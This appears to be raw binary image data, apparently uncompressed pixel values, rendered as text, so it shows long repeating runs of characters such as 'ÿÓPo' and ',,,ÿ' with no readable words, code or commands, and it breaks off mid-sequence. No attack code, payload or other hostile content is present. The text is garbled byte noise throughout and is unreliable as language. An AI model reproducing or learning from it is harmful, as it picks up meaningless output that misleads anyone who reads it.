ÿÇKhÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÌÌÌÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿz.@ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ! ÿÏNmÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿüüüÿZZZÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ•8NÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿâââÿ888ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ6ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ°°°ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿª@YÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿvvvÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ$$$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR+ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿóóóÿFFFÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ¾HdÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÒÒÒÿ000ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿk(8ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ–––ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÊMjÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýýýÿaaaÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ„2FÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿèèèÿ;;;ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ(ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓ